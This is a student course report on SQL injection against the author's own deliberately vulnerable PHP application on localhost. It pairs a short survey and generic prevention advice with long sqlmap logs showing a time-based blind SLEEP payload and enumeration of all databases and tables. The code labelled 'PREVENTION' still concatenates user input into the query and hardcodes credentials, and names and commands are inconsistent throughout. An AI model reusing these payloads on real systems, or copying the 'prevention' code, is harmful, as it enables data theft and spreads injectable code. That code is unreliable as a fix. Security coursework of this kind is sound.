



NASSCOM REVIEW 3

SQL INJECTION

Fall Semester 2020-21

TITLE: OWASP Attacks and Vulnerability Assessment – SQL Injection

NAME: Muskan Rastogi

REGNO. : 18BIT0287

SUBMITTED TO: Prof. Sumaiya

COURSE CODE: CSE3501

GITHUB REPO: <https://github.com/muskanrastogi1/Vulnerable-Web-Application>

WHOLE PROJECT REVIEW VIDEO:

https://drive.google.com/file/d/1eXavx9bG0g-iF_8MElhGjiBnr33jdPBS/view?usp=sharing

REVIEW 3 VIDEO:

<https://drive.google.com/file/d/1xW6NN98PgrkBSKV88NQAW7DfTD Dsvwom/view?usp=sharing>



Individual performance analysis for OWASP attacks:

- **Compare your system developed for a particular attack and its variants prevention with the existing research techniques. Which mechanism from which research paper has been taken for preventing attacks for your system.**

According to the developed application of my system's SQL Injection prevention increases from Level one to level six due to various changes and preventions made to the code, whereas in the research world cyber threats and attacks are triggered to corrupt or steal the information of a person in huge volume of data from different lines of businesses. Across the globe, nowadays it became mandatory to protect the database from security related attacks. SQL injection is a familiar and most vulnerable threat which may exploit the entire database of any organization irrespective whether it is a private organization or a government sector, where code is injected in a web page.

This code injection technique is used to attack data-driven web applications or applications. A SQL statement will be altered in such a manner, which goes with ALWAYS TRUE as constraint. This study paper is prepared to give a comprehensive coverage about topics like basics of SQL Injection, types, recent attacks as a case study. This survey will not be complete, if we miss out to learn the algorithms, being used as a base to trigger vulnerability in this internet connected world; which in turn exploits the database and exposes top secrets.

Tautology SQL injection – one of the code injection techniques is widely used as a data – driven attack as per the security related literatures and causes severe damage to the organizational data banks.

- According to the research paper 3 of Review 1:

Tautologies: These kinds of attacks inject SQL tokens to the conditional query statement which are constantly assessed to be genuine. This type of attack uses WHERE clause to extract the valuable information from the input fields which are easily accessible that leads to the failed authenticity of control.

Logically Incorrect Queries: At the point when a query is not required, an incorrect text from the database, including required data is returned. These incorrect texts help attackers to find parameters in the application and in this manner the application's database. Without a doubt attackers garbage info or SQL token injected into query language structure mistake, to deliver logical error, syntax error, or type mismatches purposely.

The implementation of all these type of prevention methods made SQL prevention easy to some point.

- Analyse the various performance parameters like execution time for identifying an attack and prevention and also other parameters given in the research papers with your system for a specific attack.

Time-based techniques are often used to achieve tests when there is no other way to retrieve information from the database server. This kind of attack injects a SQL segment which contains specific DBMS function or heavy query that generates a time delay. Depending on the time it takes to get the server response, it is possible to deduct some information. As you can guess, this type of inference approach is particularly useful for blind and deep blind SQL injection attacks.

```
[00:16:19] [INFO] testing 'PostgreSQL >= 8.1 stacked queries (comment)'\n[00:16:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'\n[00:16:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'\n[00:16:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'\n[00:16:30] [INFO] GET parameter 'searchterm' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable\nit looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y\nfor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y\n[00:16:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\n[00:16:49] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\n[00:16:49] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically ex\nunique test\n[00:16:50] [INFO] target URL appears to have 2 columns in query\ndo you want to (re)try to find proper UNION column types with fuzzy test? [y/N] y\ninjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y\n[00:16:51] [WARNING] If UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms-mysql')\n[00:16:54] [INFO] target URL appears to be UNION injectable with 2 columns\ninjection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y\n[00:16:56] [INFO] checking if the injection point on GET parameter 'searchterm' is a false positive\nGET parameter 'searchterm' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y\nsqlmap identified the following injection point(s) with a total of 124 HTTP(s) requests:\n---\nParameter: searchterm (GET)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: searchterm='fairy tales' AND (SELECT 4468 FROM (SELECT(SLEEP(5)))ZtjPI) AND 'null'='null'\n---\n[00:17:23] [INFO] the back-end DBMS is MySQL\n[00:17:23] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions\ndo you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)\n[00:18:20] [INFO] fetched data logged to text files under 'C:\\Users\\Vishkan Rastogi\\AppData\\Local\\sqlmap\\output\\localhost'\n[*] ending @ 00:18:20 /2020-11-01/\n\nC:\\Users\\Vishkan Rastogi\\Documents\\sqlmap-dev>
```

As shown above Level 7 was used for performing this attack.

According to Research papers 2 and 5 from Review 1:

Information security management including physical protection and application of protection. Physical protection referred for information in network of physical equipment installed in the physical environment barriers, prevent from physical lines of electromagnetic signals eavesdropping. In network management center, important

data exchange and data storage place, according to confidential construction requirements, and set up standard, relatively independent network exchange center and important switching nodes, adopt anti-static grounding.

Most of the modern websites extensively use Rich Internet Application such as Adobe Flash and Microsoft Silver light, for increased user defined functionality. If the care is not taken during the coding of cross site scripts, it can lead to the vulnerability of XSS and SQL Injection Attacks.

- Identify what could be the other efficient possible mechanisms to overcome the attacks for a specific variant. Give links from where these information is obtained.

Preventing SQL Injection vulnerabilities is not easy. Specific prevention techniques depend on the subtype of SQLi vulnerability, on the SQL database engine, and on the programming language. However, there are certain general strategic principles that you should follow to keep your web application safe.

Step 1: Train and maintain awareness

To keep your web application safe, everyone involved in building the web application must be aware of the risks associated with SQL Injections. You should provide suitable security training to all your developers, QA staff, DevOps, and SysAdmins. You can start by referring them to this page

Step 2: Don't trust any user input

Treat all user input as untrusted. Any user input that is used in an SQL query introduces a risk of an SQL Injection. Treat input from authenticated and/or internal users the same way that you treat public input.

Step 3: Use whitelists, not blacklists

Don't filter user input based on blacklists. A clever attacker will almost always find a way to circumvent your blacklist. If possible, verify and filter user input using strict whitelists only.

Step 4: Adopt the latest technologies

Older web development technologies don't have SQLi protection. Use the latest version of the development environment and language and the latest technologies associated with that environment/language. For example, in PHP use PDO instead of MySQLi.

Step 5: Employ verified mechanisms

Don't try to build SQLi protection from scratch. Most modern development technologies can offer you mechanisms to protect against SQLi. Use such mechanisms instead of trying to reinvent the wheel. For example, use parameterized queries or stored procedures.

Step 6: Scan regularly

SQL Injections may be introduced by your developers or through external libraries/modules/software. You should regularly scan your web applications using a web vulnerability scanner such as Acunetix. If you use Jenkins, you should install the Acunetix plugin to automatically scan every build.

REFERENCES:

1. <https://www.acunetix.com/websitesecurity/sql-injection/#:~:text=The%20only%20sure%20way%20to,inputs%20such%20as%20login%20forms>.
2. [https://www.researchgate.net/publication/342784130 Mechanism to detect and prevent SQL injection attack from programmer side](https://www.researchgate.net/publication/342784130_Mechanism_to_detect_and_prevent_SQL_injection_attack_from_programmer_side)
3. <https://ieeexplore.ieee.org/document/7492650>

IMPLEMENTATION OF SQL ATTACK ACCESSING THE WHOLE DATABASE AND PREVENTION.

```

C:\Users\Phreaker>cd Documents\sqlmap\sqlmap.py -u "http://localhost/Vulnerability-Testing-Solutions/Vulnerable-Mdb-Application/SQL/sql7.php?username=Things-Fall-Apart" --tables
[1.4.10.2006w]
http://sqlmap.org

[!] Legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. If it is the end user's responsibility to obey all applicable local, state and federal laws. Developers and users are not responsible for any misuse or damage caused by this program.

[*] Starting @ 00:41:21 /2020-11-01/

[00:41:21] [INFO] resuming back-end DBMS 'mysql'
[00:41:21] [INFO] testing connection to the target DB
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: searchform (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: searchform=Things Fall Apart' AND (SELECT 3071 FROM (SELECT(SLEEP(5)))Y998) AND 'gWw'='gWw

--
[00:41:22] [INFO] The back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[00:41:23] [INFO] fetching database names
[00:41:23] [INFO] fetching number of databases
[00:41:23] [WARNING] time-based comparison requires larger statistical model, please wait..... (Done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '-time-sec')? [Y/n] Y
[00:41:30] [INFO] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[00:41:40] [INFO] adjusting time delay to 2 second due to good response times
^
[00:41:40] [INFO] retrieved: information_schema
[00:41:41] [INFO] retrieved: 1cc1d097d06c9cf3540d8b6022d7c
[00:41:42] [INFO] retrieved: akshatag
[00:41:44] [INFO] retrieved: books
[00:41:45] [INFO] retrieved: mysql
[00:41:46] [INFO] retrieved: performance_schema
[00:41:47] [INFO] retrieved: phpmyadmin
[00:41:48] [INFO] retrieved: security
[00:41:49] [INFO] retrieved: test
[00:41:50] [INFO] fetching tables for databases: '1cc1d097d06c9cf3540d8b6022d7c', akshatag, books, information_schema, mysql, performance_schema, phpmyadmin, security, test'
[00:41:51] [INFO] fetching number of tables for database 'test'
[00:41:52] [INFO] retrieved: 0
[00:41:54] [WARNING] database 'test' appears to be empty
[00:41:56] [INFO] fetching number of tables for database 'mysql'
[00:41:56] [INFO] retrieved: 11
[00:41:57] [INFO] retrieved: columns_priv
[00:41:58] [INFO] retrieved: column_stats
[00:41:59] [INFO] retrieved: db
[00:42:00] [INFO] retrieved: event

```

So in these screenshots it is seen how SQLMAP attack accesses the database and gives all the tables and data of the website , which can be prevented by modification and prevention in the code of the php website.

```
[01:54:47] [INFO] retrieved: index_stats
[01:55:30] [INFO] retrieved: innodb_index_stats
[01:56:36] [INFO] retrieved: innodb_table_stats
[01:57:23] [INFO] retrieved: plugin
[01:57:47] [INFO] retrieved: proc
[01:57:59] [INFO] retrieved: procs_priv
[01:58:29] [INFO] retrieved: proxies_priv
[01:59:09] [INFO] retrieved: roles_mapping
[02:00:01] [INFO] retrieved: servers
[02:00:24] [INFO] retrieved: slow_log
[02:00:58] [INFO] retrieved: tables_priv
[02:01:39] [INFO] retrieved: table_stats
[02:02:08] [INFO] retrieved: time_zone
[02:02:40] [INFO] retrieved: time_zone_leap_second
[02:03:37] [INFO] retrieved: time_zone_name
[02:04:00] [INFO] retrieved: time_zone_transition
[02:04:46] [INFO] retrieved: time_zone_transition_type
[02:05:29] [INFO] retrieved: transaction_registry
[02:06:34] [INFO] retrieved: user
[02:06:47] [INFO] fetching number of tables for database 'phpmyadmin'
[02:06:47] [INFO] retrieved: 19
[02:06:52] [INFO] retrieved: pma__bookmark
[02:07:40] [INFO] retrieved: pma__central_columns
[02:08:41] [INFO] retrieved: pma__column_info
[02:09:29] [INFO] retrieved: pma__designer_settings
[02:10:35] [INFO] retrieved: pma__export_templates
[02:11:44] [INFO] retrieved: pma__favorite
[02:12:16] [INFO] retrieved: pma__history
[02:12:48] [INFO] retrieved: pma__navigationhiding
[02:13:46] [INFO] retrieved: pma__pdf_pages
[02:14:28] [INFO] retrieved: pma__recent
[02:14:53] [INFO] retrieved: pma__relation
[02:15:21] [INFO] retrieved: pma__savedsearches
[02:16:05] [INFO] retrieved: pma__table_coords
[02:16:54] [INFO] retrieved: pma__table_info
[02:17:21] [INFO] retrieved: pma__table_uiprefs
[02:17:57] [INFO] retrieved: pma__tracking
[02:18:24] [INFO] retrieved: pma__userconfig
[02:19:02] [INFO] retrieved: pma__usergroups
[02:19:35] [INFO] retrieved: pma__users
[02:19:48] [INFO] fetching number of tables for database '1ccb8097d0e9ce9f154608be60224c7c'
[02:19:48] [INFO] retrieved: 4
[02:19:49] [INFO] retrieved: books
[02:20:08] [INFO] retrieved: flags
[02:20:24] [INFO] retrieved: secret
[02:20:43] [INFO] retrieved: users
[02:21:00] [INFO] fetching number of tables for database 'akshatvg'
[02:21:00] [INFO] retrieved: 0
[02:21:03] [WARNING] database 'akshatvg' appears to be empty
[02:21:03] [INFO] fetching number of tables for database 'information_schema'
[02:21:03] [INFO] retrieved: 77
[02:21:07] [INFO] retrieved: ALL_PLUGINS
```



```
[02:24:22] [INFO] retrieved: COLLATIONS
[02:24:56] [INFO] retrieved: COLLATION_CHARACTER_SET_APPLICABILITY
[02:26:38] [INFO] retrieved: COLUMNS
[02:26:56] [INFO] retrieved: COLUMN_PRIVILEGES
[02:27:42] [INFO] retrieved: ENABLED_ROLES
[02:28:26] [INFO] retrieved: ENGINES
[02:28:44] [INFO] retrieved: EVENTS
[02:29:04] [INFO] retrieved: FILES
[02:29:20] [INFO] retrieved: GLOBAL_STATUS
[02:30:05] [INFO] retrieved: GLOBAL_VARIABLES
[02:30:38] [INFO] retrieved: KEY_CACHES
[02:31:09] [INFO] retrieved: KEY_COLUMN_USAGE
[02:31:53] [INFO] retrieved: OPTIMIZER_TRACE
[02:32:45] [INFO] retrieved: PARAMETERS
[02:33:15] [INFO] retrieved: PARTITIONS
[02:33:44] [INFO] retrieved: PLUGINS
[02:34:06] [INFO] retrieved: PROCESSLIST
[02:34:41] [INFO] retrieved: PROFILING
[02:35:05] [INFO] retrieved: REFERENTIAL_CONSTRAINTS
[02:36:22] [INFO] retrieved: ROUTINES
[02:36:48] [INFO] retrieved: SCHEMATA
[02:37:11] [INFO] retrieved: SCHEMA_PRIVILEGES
[02:37:56] [INFO] retrieved: SESSION_STATUS
[02:38:43] [INFO] retrieved: SESSION_VARIABLES
[02:39:17] [INFO] retrieved: STATISTICS
[02:39:46] [INFO] retrieved: SYSTEM_VARIABLES
[02:40:35] [INFO] retrieved: TABLES
[02:40:53] [INFO] retrieved: TABLESPACES
[02:41:14] [INFO] retrieved: TABLE_CONSTRAINTS
[02:42:03] [INFO] retrieved: TABLE_PRIVILEGES
[02:42:43] [INFO] retrieved: TRIGGERS
[02:43:05] [INFO] retrieved: USER_PRIVILEGES
[02:43:57] [INFO] retrieved: VIEWS
[02:44:14] [INFO] retrieved: GEOMETRY_COLUMNS
[02:45:12] [INFO] retrieved: SPATIAL_REF_SYS
[02:46:04] [INFO] retrieved: CLIENT_STATISTICS
[02:47:01] [INFO] retrieved: INDEX_STATISTICS
[02:47:56] [INFO] retrieved: INNODB_SYS_DATAFILES
[02:49:00] [INFO] retrieved: USER_STATISTICS
[02:49:49] [INFO] retrieved: INNODB_SYS_TABLESTATS
[02:51:03] [INFO] retrieved: INNODB_LOCKS
[02:51:28] [INFO] retrieved: INNODB_MUTEXES
[02:52:00] [INFO] retrieved: INNODB_CMPMEM
[02:52:28] [INFO] retrieved: INNODB_CMP_PER_INDEX
[02:53:18] [INFO] retrieved: INNODB_CMP
[02:53:29] [INFO] retrieved: INNODB_FT_DELETED
[02:54:12] [INFO] retrieved: INNODB_CMP_RESET
[02:54:52] [INFO] retrieved: INNODB_LOCK_WAITS
[02:55:35] [INFO] retrieved: TABLE_STATISTICS
[02:56:26] [INFO] retrieved: INNODB_TABLESPACES_ENCRYPTION
[02:58:07] [INFO] retrieved: INNODB_BUFFER_PAGE_LRU
[02:59:07] [INFO] retrieved: INNODB_SYS_FIELDS
```

cmd Command Prompt

```
[03:02:25] [INFO] retrieved: INNODB_CMP_PER_INDEX_RESET
[03:03:44] [INFO] retrieved: user_variables
[03:04:30] [INFO] retrieved: INNODB_FT_INDEX_CACHE
[03:05:46] [INFO] retrieved: INNODB_SYS_FOREIGN_COLS
[03:06:52] [INFO] retrieved: INNODB_FT_BEING_DELETED
[03:07:55] [INFO] retrieved: INNODB_BUFFER_POOL_STATS
[03:09:06] [INFO] retrieved: INNODB_TRX
[03:09:27] [INFO] retrieved: INNODB_SYS_FOREIGN
[03:10:13] [INFO] retrieved: INNODB_SYS_TABLES
[03:10:43] [INFO] retrieved: INNODB_FT_DEFAULT_STOPWORD
[03:12:05] [INFO] retrieved: INNODB_FT_CONFIG
[03:12:36] [INFO] retrieved: INNODB_BUFFER_PAGE
[03:13:20] [INFO] retrieved: INNODB_SYS_TABLESPACES
[03:14:17] [INFO] retrieved: INNODB_METRICS
[03:14:47] [INFO] retrieved: INNODB_SYS_INDEXES
[03:15:34] [INFO] retrieved: INNODB_SYS_VIRTUAL
[03:16:09] [INFO] retrieved: INNODB_TABLESPACES_SCRUBBING
[03:17:23] [INFO] retrieved: INNODB_SYS_SEMAPHORE_WAITS
[03:18:39] [INFO] fetching number of tables for database 'performance_schema'
[03:18:39] [INFO] retrieved: 52
[03:18:43] [INFO] retrieved: cond_instances
[03:19:34] [INFO] retrieved: events_waits_current
[03:20:51] [INFO] retrieved: events_waits_history
[03:21:32] [INFO] retrieved: events_waits_history_long
[03:22:17] [INFO] retrieved: events_waits_summary_by_host_by_event_name
[03:24:28] [INFO] retrieved: events_waits_summary_by_instance
[03:25:19] [INFO] retrieved: events_waits_summary_by_thread_by_event_name
[03:27:02] [INFO] retrieved: events_waits_summary_by_user_by_event_name
[03:28:38] [INFO] retrieved: events_waits_summary_by_account_by_event_name
[03:30:25] [INFO] retrieved: events_waits_summary_global_by_event_name
[03:32:05] [INFO] retrieved: file_instances
[03:32:54] [INFO] retrieved: file_summary_by_event_name
[03:34:20] [INFO] retrieved: file_summary_by_instance
[03:35:02] [INFO] retrieved: host_cache
[03:35:40] [INFO] retrieved: mutex_instances
[03:36:36] [INFO] retrieved: objects_summary_global_by_type
[03:38:32] [INFO] retrieved: performance_timers
[03:39:35] [INFO] retrieved: rwlock_instances
[03:40:35] [INFO] retrieved: setup_actors
[03:41:21] [INFO] retrieved: setup_consumers
[03:41:58] [INFO] retrieved: setup_instruments
[03:42:44] [INFO] retrieved: setup_objects
[03:43:14] [INFO] retrieved: setup_timers
[03:43:40] [INFO] retrieved: table_io_waits_summary
[03:45:04] [ERROR] invalid character detected. retrying..
[03:45:04] [WARNING] increasing time delay to 2 seconds
by_index_usage
[12:28:14] [INFO] retrieved: table_io_waits_summary_by_table
[12:29:37] [INFO] retrieved: table_lock_waits_summary_by_table
[12:33:05] [INFO] retrieved: threads
[12:33:41] [INFO] retrieved: events_stages_current
[12:36:10] [INFO] retrieved: events_stages_history
```



```

[03:45:04] [WARNING] increasing time delay to 2 seconds
by_index_usage
[12:28:14] [INFO] retrieved: table_io_waits_summary_by_table
[12:29:37] [INFO] retrieved: table_lock_waits_summary_by_table
[12:33:05] [INFO] retrieved: threads
[12:33:41] [INFO] retrieved: events_stages_current
[12:36:10] [INFO] retrieved: events_stages_history
[12:37:30] [INFO] retrieved: events_stages_history_long
[12:38:59] [INFO] retrieved: events_stages_summary_by_thre
[12:41:19] [INFO] adjusting time delay to 1 second due to good response times
ad_by_event_name
[12:42:19] [INFO] retrieved: events_stages_summary_by_account_by_event_name
[12:44:05] [INFO] retrieved: events_stages_summary_by_user_by_event_name
[12:45:42] [INFO] retrieved: events_stages_summary_by_host_by_event_name
[12:47:22] [INFO] retrieved: events_stages_summary_global_by_event_name
[12:49:03] [INFO] retrieved: events_statements_current
[12:50:08] [INFO] retrieved: events_statements_history
[12:50:53] [INFO] retrieved: events_statements_history_long
[12:51:43] [INFO] retrieved: events_statements_summary_by_thread_by_event_name
[12:54:00] [INFO] retrieved: events_statements_summary_by_account_by_event_name
[12:55:51] [INFO] retrieved: events_statements_summary_by_user_by_event_name
[12:57:33] [INFO] retrieved: events_statements_summary_by_host_by_event_name
[12:59:19] [INFO] retrieved: events_statements_summary_global_by_event_name
[13:01:05] [INFO] retrieved: events_statements_summary_by_digest
[13:02:05] [INFO] retrieved: users
[13:02:22] [INFO] retrieved: accounts
[13:02:49] [INFO] retrieved: hosts
[13:03:10] [INFO] retrieved: socket_instances
[13:04:07] [INFO] retrieved: socket_summary_by_instance
[13:05:23] [INFO] retrieved: socket_summary_by_event_name
[13:06:19] [INFO] retrieved: session_connect_attrs
[13:07:37] [INFO] retrieved: session_account_connect_attrs
[13:09:06] [INFO] fetching number of tables for database 'books'
[13:09:06] [INFO] retrieved: s
[13:09:08] [WARNING] unable to retrieve the number of tables for database 'books'
[13:09:08] [INFO] fetching number of tables for database 'security'
[13:09:08] [INFO] retrieved: 1
[13:09:09] [INFO] retrieved: users
Database: mysql
[31 tables]
+-----+
| user
| column_stats
| columns_priv
| db
| event
| func
| general_log
| global_priv
| gtid_slave_pos
| help_category
| help_keyword
|

```

```
| help_keyword
| help_relation
| help_topic
| index_stats
| innodb_index_stats
| innodb_table_stats
| plugin
| proc
| procs_priv
| proxies_priv
| roles_mapping
| servers
| slow_log
| table_stats
| tables_priv
| time_zone
| time_zone_leap_second
| time_zone_name
| time_zone_transition
| time_zone_transition_type
| transaction_registry
```

```
+-----+
Database: phpmyadmin
[19 tables]
```

```
+-----+
| pma__bookmark
| pma__central_columns
| pma__column_info
| pma__designer_settings
| pma__export_templates
| pma__favorite
| pma__history
| pma__navigationhiding
| pma__pdf_pages
| pma__recent
| pma__relation
| pma__savedsearches
| pma__table_coords
| pma__table_info
| pma__table_uiprefs
| pma__tracking
| pma__userconfig
| pma__usergroups
| pma__users
```

```
+-----+
Database: 1ccb8097d0e9ce9f154608be60224c7c
[4 tables]
```

```
+-----+
| books
| flags
```

Database: 1ccb8097d0e9ce9f154608be60224c7c
[4 tables]

books	
flags	
secret	
users	

Database: information_schema
[77 tables]

ALL_PLUGINS	
APPLICABLE_ROLES	
CHARACTER_SETS	
CHECK_CONSTRAINTS	
CLIENT_STATISTICS	
COLLATIONS	
COLLATION_CHARACTER_SET_APPLICABILITY	
COLUMNS	
COLUMN_PRIVILEGES	
ENABLED_ROLES	
ENGINES	
EVENTS	
FILES	
GEOMETRY_COLUMNS	
GLOBAL_STATUS	
GLOBAL_VARIABLES	
INDEX_STATISTICS	
INNODB_BUFFER_PAGE	
INNODB_BUFFER_PAGE_LRU	
INNODB_BUFFER_POOL_STATS	
INNODB_CMP	
INNODB_CMPMEM	
INNODB_CMPMEM_RESET	
INNODB_CMP_PER_INDEX	
INNODB_CMP_PER_INDEX_RESET	
INNODB_CMP_RESET	
INNODB_FT_BEING_DELETED	
INNODB_FT_CONFIG	
INNODB_FT_DEFAULT_STOPWORD	
INNODB_FT_DELETED	
INNODB_FT_INDEX_CACHE	
INNODB_FT_INDEX_TABLE	
INNODB_LOCKS	
INNODB_LOCK_WAITS	
INNODB_METRICS	
INNODB_MUTEXES	
INNODB_SYS_COLUMNS	
INNODB_SYS_DATAFILES	
INNODB_SYS_FIELDS	
INNODB_SYS_FOREIGN	

```
| INNODB_SYS_FOREIGN_COLS  
| INNODB_SYS_INDEXES  
| INNODB_SYS_SEMAPHORE_WAITS  
| INNODB_SYS_TABLES  
| INNODB_SYS_TABLESPACES  
| INNODB_SYS_TABLESTATS  
| INNODB_SYS_VIRTUAL  
| INNODB_TABLESPACES_ENCRYPTION  
| INNODB_TABLESPACES_SCRUBBING  
| INNODB_TRX  
| KEY_CACHES  
| KEY_COLUMN_USAGE  
| OPTIMIZER_TRACE  
| PARAMETERS  
| PARTITIONS  
| PLUGINS  
| PROCESSLIST  
| PROFILING  
| REFERENTIAL_CONSTRAINTS  
| ROUTINES  
| SCHEMATA  
| SCHEMA_PRIVILEGES  
| SESSION_STATUS  
| SESSION_VARIABLES  
| SPATIAL_REF_SYS  
| STATISTICS  
| SYSTEM_VARIABLES  
| TABLES  
| TABLESPACES  
| TABLE_CONSTRAINTS  
| TABLE_PRIVILEGES  
| TABLE_STATISTICS  
| TRIGGERS  
| USER_PRIVILEGES  
| USER_STATISTICS  
| VIEWS  
| user_variables
```

```
+-----+  
Database: performance_schema  
[52 tables]
```

```
+-----+  
| accounts  
| cond_instances  
| events_stages_current  
| events_stages_history  
| events_stages_history_long  
| events_stages_summary_by_account_by_event_name  
| events_stages_summary_by_host_by_event_name  
| events_stages_summary_by_thread_by_event_name  
| events_stages_summary_by_user_by_event_name  
| events_stages_summary_global_by_event_name
```

```

events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
host_cache
hosts
mutex_instances
objects_summary_global_by_type
performance_timers
rwlock_instances
session_account_connect_attrs
session_connect_attrs
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
users
-----
Database: security
[1 table]
-----
| users |
-----

[13:09:29] [INFO] fetched data logged to text files under 'C:\Users\Muskan Rastogi\AppData\Local\sqlmap\output\localhost'
[*] ending @ 13:09:30 /2020-11-01/

C:\Users\Muskan Rastogi\Documents\sqlmap-dev>

```

PREVENTION:

```

<?php
    if(isset($_GET["searchterm"]))
    {
        //db connection
        $conn = new mysqli("localhost", "akshatvg", "qwerty") or die("error.");

        mysqli_select_db($conn, "books") or die("error.");

        $sql = "SELECT * FROM books.books WHERE title LIKE '%".$_GET["searchterm"]."%'";

        $books = mysqli_query($conn, $sql) or die("error.");

        //DEBUG
    }
}

```

```
        /*echo $sql."<br />";

while ($row = mysqli_fetch_object($books))
{
    echo $row->id." ";
    echo $row->title."<br />";
};
*/
$numresults = mysqli_num_rows($books);

if($numresults == 0)
{
    echo "No books exist with this pattern in the title.";
}
else
{
    echo "$numresults books exist with this pattern in the title."
;
}

?>
</body>
```

Chyngan Rastorg